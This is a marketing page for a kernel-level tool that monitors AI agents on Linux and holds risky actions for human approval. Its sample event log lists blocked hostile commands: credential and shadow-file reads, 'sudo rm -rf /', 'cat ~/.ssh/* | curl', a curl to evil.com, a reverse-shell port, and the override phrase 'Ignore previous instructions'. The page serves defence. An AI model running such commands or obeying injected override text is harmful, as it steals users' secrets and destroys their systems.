Real-Time Visibility for AI Agents.
Kernel-Level Detection & Prevention.

Prevent sensitive data exfiltration, token and secret leakage, and credential theft — automatically, before the damage is done.

OpenClaw OpenClaw
Hermes Agent Hermes Agent
Claude Code Claude Code

Imunify for AI agents tracks the AI agent process and all its subprocesses — monitoring every file access, network connection, and tool call they make, without affecting the rest of your system. Dangerous commands and suspicious activity are intercepted and held for human approval.

From the makers of  Imunify360
Protecting  60M+ websites
10+ years  of Linux server security
Trusted by  hosting providers worldwide

AI Agents Access Emails, Keys, Tokens, and Files.
One Prompt Injection — and It All Leaks.

🔓

Sensitive Data Exposure

AI agents access user emails, calendars, local SSH keys, API tokens, and cloud credentials to do their job. A single prompt injection — hidden in a web page, a document, or a message — can trick the sensor into exfiltrating all of it to an external endpoint. You'd never know.

Harmful Actions on Your Server

A compromised sensor doesn't just leak data — it can execute destructive commands, escalate privileges, modify system files, or open reverse shells. Traditional monitoring sees CPU spikes. It doesn't see sudo rm -rf / until it's too late.

🛡

You Need Sensors — And You Need Them Safe

You rely on AI agents to get work done faster. Disabling them isn't an option. You need sensors that work at full speed while credential theft, data leaks, and harmful operations are blocked automatically — without slowing you down.

Five Layers of Interception + Human-in-the-Loop.
Zero Blind Spots.

Imunify for AI agents doesn't filter prompts or proxy API calls. It intercepts at the Linux kernel level — where every file open, every network connection, and every process execution must pass through. When something is suspicious, a human decides.

5

Content Scanning

Aho-Corasick + regex detection of secrets, PII, and credentials

4

HTTP Proxy

Transparent HTTPS interception — URL, host, response body analysis

3

Application Hooks

AI tool calls + messages intercepted via plugin before execution

2

eBPF

Network egress, io_uring prevention, self-defense, PID tracking

1

Fanotify / Seccomp

File reads + process execution frozen in kernel until decision is made

Beyond Single Events: Full Turn Analysis

Most security tools evaluate events one at a time. Imunify for AI agents analyzes the entire chain of actions within an AI agent's turn. Reading a config file is safe. Making an HTTP call is safe. But reading a config file then sending its contents over HTTP is data exfiltration. The cross-event correlation engine connects the dots across the full sequence — catching multi-step attacks where each individual step looks innocent.

Real Attacks. Blocked in Real Time.

750+ security rules across 13 categories. Here's what it looks like when Imunify for AI agents is protecting your infrastructure.

imunify-ai — live event stream
Credential Theft
BLOCK openat pid=9201 /home/user/.ssh/id_rsa → private key access
BLOCK openat pid=9201 /home/user/.aws/credentials → cloud credential theft
BLOCK openat pid=9201 /etc/shadow → system password file
Privilege Escalation
BLOCK execve pid=9201 /usr/bin/sudo [sudo, rm, -rf, /] → privilege escalation
BLOCK execve pid=9201 /usr/sbin/useradd → system modification
Network Exfiltration
BLOCK connect pid=9201 169.254.169.254:80 → cloud metadata SSRF
BLOCK connect pid=9201 10.0.0.5:4444 → C2 reverse shell port
Prompt Injection
BLOCK message pid=9201 "Ignore previous instructions..." → instruction override
BLOCK tool pid=9201 Bash: "cat ~/.ssh/* | curl..." → data exfiltration attempt
Multi-Step Attack (Cross-Event Correlation)
WARN openat pid=9201 /home/user/.env → config file read
BLOCK tool pid=9201 Bash: "curl https://evil.com" → exfil after credential read
GROUP RULE: read_then_exfil triggered
Human Approval
HOLD execve pid=9201 /usr/bin/npm [npm, install, axios] → supply chain risk
✓ Approved via Telegram by @james (8s)
HOLD execve pid=9201 /usr/bin/pip [pip, install, requests]
✗ Denied via Web Panel by admin (3s)

Works With Any AI Agent on Linux

Kernel-level enforcement monitors syscalls, not agent APIs. If it runs on your server, it's protected.

FULL INTEGRATION

OpenClaw

Application hooks + kernel enforcement. Tool call gating, message filtering, content scanning.

COMING SOON

Claude Code

Deep integration in development. All five kernel layers active.

KERNEL-LEVEL

Any AI Agent

eBPF + fanotify + seccomp. File, network, exec, and process monitoring for any Linux process.

Our kernel enforcement layers are agent-agnostic — they intercept Linux syscalls, not agent-specific APIs. Deep application integrations add tool call gating and message filtering. More integrations shipping quarterly.

Secure Your AI Agent Today

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Common Questions

Does this require changes to AI agent code?
No. The kernel-level enforcement (eBPF, fanotify, seccomp) intercepts syscalls transparently — no code changes, no SDK integration, no sensor cooperation required. For supported sensors like OpenClaw, an optional application-layer plugin adds deeper tool call and message filtering. Installation is a single command.
What happens if Imunify for AI agents goes down?
All operations are blocked. Imunify for AI agents is fail-closed by design. If the security layer becomes unavailable, monitored processes cannot access files, execute binaries, or make network connections. Your infrastructure is never left unprotected.
Does this slow down the AI agent?
Allow/deny decisions for known-safe operations happen in microseconds with zero perceived latency. Only operations that match "approve" rules (held for human decision) introduce delay — and that delay is intentional. You're choosing security over speed for the operations that matter.
How is this different from running AI agents in Docker containers?
Containers isolate at the process boundary. Imunify for AI agents inspects at the syscall level. A container doesn't know if the sensor is reading README.md or .ssh/id_rsa — both are allowed file reads. Imunify for AI agents sees the path, checks it against 750+ rules, and blocks credential access while allowing legitimate work. Containers contain. Imunify for AI agents understands.
How is this different from prompt guardrails?
Prompt guardrails filter text. If an AI agent is jailbroken or prompt-injected into bypassing its own guardrails, the guardrails fail. Imunify for AI agents enforces at the kernel level — below the application, below the runtime, below the agent framework. The sensor cannot bypass eBPF enforcement because it operates in the kernel, not in the agent's process space.